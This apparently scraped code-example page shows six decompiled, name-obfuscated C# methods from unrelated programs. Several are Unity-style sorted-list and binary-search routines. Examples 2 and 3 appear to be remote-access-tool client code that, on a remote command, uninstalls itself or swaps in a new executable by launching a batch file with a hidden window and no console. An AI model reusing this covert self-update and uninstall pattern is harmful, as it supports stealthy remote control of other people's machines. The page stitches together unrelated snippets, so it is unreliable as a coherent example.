예제 #1
0
    // Token: 0x06002893 RID: 10387 RVA: 0x0012F6E8 File Offset: 0x0012D8E8
    public static int smethod_6 <T>(T gparam_0, T[] gparam_1) where T : GClass16
    {
        int i      = 0;
        int num    = gparam_1.Length - 1;
        int result = -1;

        while (i <= num)
        {
            int num2 = (i + num) / 2;
            result = num2;
            if (GClass16.smethod_0(gparam_1[num2], gparam_0))
            {
                break;
            }
            if (GClass16.smethod_2(gparam_1[num2], gparam_0))
            {
                i = num2 + 1;
            }
            else
            {
                num = num2 - 1;
            }
        }
        return(result);
    }
예제 #2
0
 // Token: 0x06000078 RID: 120 RVA: 0x000060E0 File Offset: 0x000042E0
 public static void smethod_0(Client client)
 {
     if (!GClass35.bool_0)
     {
         new SetStatus("Uninstallation failed: Installation is not enabled").Execute(client);
         return;
     }
     GClass14.smethod_1();
     if (GClass35.bool_1)
     {
         GClass16.smethod_2();
     }
     try
     {
         if (!GClass4.smethod_5(GClass0.CurrentPath))
         {
             new SetStatus("Uninstallation failed: File is read-only").Execute(client);
         }
         string text = GClass4.smethod_3(GClass35.bool_0 && GClass35.bool_2);
         if (!string.IsNullOrEmpty(text))
         {
             ProcessStartInfo startInfo = new ProcessStartInfo
             {
                 WindowStyle     = ProcessWindowStyle.Hidden,
                 CreateNoWindow  = true,
                 UseShellExecute = true,
                 FileName        = text
             };
             Process.Start(startInfo);
         }
     }
     finally
     {
         GClass0.Disconnect = true;
         client.Disconnect();
     }
 }
예제 #3
0
 // Token: 0x0600007A RID: 122 RVA: 0x000061D8 File Offset: 0x000043D8
 public static void smethod_0(Client c, string newFilePath)
 {
     try
     {
         GClass4.smethod_2(newFilePath);
         byte[] array = File.ReadAllBytes(newFilePath);
         if (array[0] != 77 && array[1] != 90)
         {
             throw new Exception("no pe file");
         }
         string text = GClass4.smethod_4(newFilePath, GClass35.bool_0 && GClass35.bool_2);
         if (string.IsNullOrEmpty(text))
         {
             throw new Exception("Could not create update batch file.");
         }
         ProcessStartInfo startInfo = new ProcessStartInfo
         {
             WindowStyle     = ProcessWindowStyle.Hidden,
             CreateNoWindow  = true,
             UseShellExecute = true,
             FileName        = text
         };
         Process.Start(startInfo);
         GClass0.Disconnect = true;
         if (GClass35.bool_0 && GClass35.bool_1)
         {
             GClass16.smethod_2();
         }
         c.Disconnect();
     }
     catch (Exception ex)
     {
         GClass26.DeleteFile(newFilePath);
         new SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(c);
     }
 }
예제 #4
0
 // Token: 0x0600288F RID: 10383 RVA: 0x000114F5 File Offset: 0x0000F6F5
 public static bool smethod_4(GClass16 gclass16_0, GClass16 gclass16_1)
 {
     return(GClass16.smethod_2(gclass16_0, gclass16_1) || GClass16.smethod_0(gclass16_0, gclass16_1));
 }
예제 #5
0
 // Token: 0x0600288E RID: 10382 RVA: 0x000114DE File Offset: 0x0000F6DE
 public static bool smethod_3(GClass16 gclass16_0, GClass16 gclass16_1)
 {
     return(GClass16.smethod_1(gclass16_0, gclass16_1) && !GClass16.smethod_2(gclass16_0, gclass16_1));
 }
예제 #6
0
    // Token: 0x0600289C RID: 10396 RVA: 0x0012F97C File Offset: 0x0012DB7C
    public static int smethod_15 <T>(T gparam_0, List <T> list_0) where T : GClass16
    {
        int num = -1;

        if (list_0.Count > 0)
        {
            if (GClass16.smethod_2(list_0[list_0.Count - 1], gparam_0))
            {
                num = list_0.Count;
                list_0.Insert(num, gparam_0);
            }
            else
            {
                num = GClass16.smethod_6 <T>(gparam_0, list_0.ToArray());
                if (num != -1)
                {
                    if (GClass16.smethod_0(list_0[num], gparam_0) && gparam_0.Int32_1 == list_0[num].Int32_1)
                    {
                        list_0[num] = gparam_0;
                    }
                    else
                    {
                        if (GClass16.smethod_3(gparam_0, list_0[num]))
                        {
                            num++;
                        }
                        list_0.Insert(num, gparam_0);
                    }
                }
            }
        }
        if (num == -1)
        {
            list_0.Add(gparam_0);
            num = list_0.Count - 1;
        }
        if (gparam_0.Int32_1 == 4)
        {
            GClass19 gclass  = list_0[num] as GClass19;
            GClass19 gclass2 = GClass16.smethod_12 <T>(typeof(GClass19), num, list_0) as GClass19;
            GClass19 gclass3 = GClass16.smethod_14 <T>(typeof(GClass19), num, list_0) as GClass19;
            gclass.gclass19_0 = gclass2;
            if (GClass16.smethod_1(gclass2, null))
            {
                gclass2.gclass19_1 = gclass;
            }
            gclass.gclass19_1 = gclass3;
            if (GClass16.smethod_1(gclass3, null))
            {
                gclass3.gclass19_0 = gclass;
            }
            GClass19.GEnum15 genum = gclass.genum15_0;
            gclass2 = gclass.gclass19_0;
            gclass3 = gclass.gclass19_1;
            GClass19 gclass16_ = null;
            bool     flag      = false;
            while (GClass16.smethod_1(gclass2, null))
            {
                if (gclass2.uint_0 != gclass.uint_0)
                {
                    break;
                }
                if (gclass2.genum13_0 == GClass19.GEnum13.OPEN)
                {
                    gclass16_ = gclass2;
                }
                else
                {
                    flag = true;
                }
                genum  |= gclass2.genum15_0;
                gclass2 = gclass2.gclass19_0;
            }
            while (GClass16.smethod_1(gclass3, null))
            {
                if (gclass3.uint_0 != gclass.uint_0)
                {
                    break;
                }
                if (gclass3.genum13_0 == GClass19.GEnum13.OPEN)
                {
                    gclass16_ = gclass3;
                }
                else
                {
                    flag = true;
                }
                genum  |= gclass3.genum15_0;
                gclass3 = gclass3.gclass19_1;
            }
            if ((gclass.genum13_0 == GClass19.GEnum13.OPEN || !GClass16.smethod_1(gclass16_, null)) && (gclass.genum13_0 != GClass19.GEnum13.OPEN || !flag))
            {
                gclass.genum15_0 = genum;
                gclass2          = gclass.gclass19_0;
                gclass3          = gclass.gclass19_1;
                while (GClass16.smethod_1(gclass2, null))
                {
                    if (gclass2.uint_0 != gclass.uint_0)
                    {
                        break;
                    }
                    if (gclass2.genum15_0 != genum)
                    {
                        Debug.Log(string.Format("Not match flags previous {0} {1}", num, gparam_0.GetType()));
                    }
                    gclass2.genum15_0 = genum;
                    gclass2           = gclass2.gclass19_0;
                }
                while (GClass16.smethod_1(gclass3, null))
                {
                    if (gclass3.uint_0 != gclass.uint_0)
                    {
                        break;
                    }
                    if (gclass3.genum15_0 != genum)
                    {
                        Debug.Log(string.Format("Not match flags next {0} {1}", num, gparam_0.GetType()));
                    }
                    gclass3.genum15_0 = genum;
                    gclass3           = gclass3.gclass19_1;
                }
            }
        }
        return(num);
    }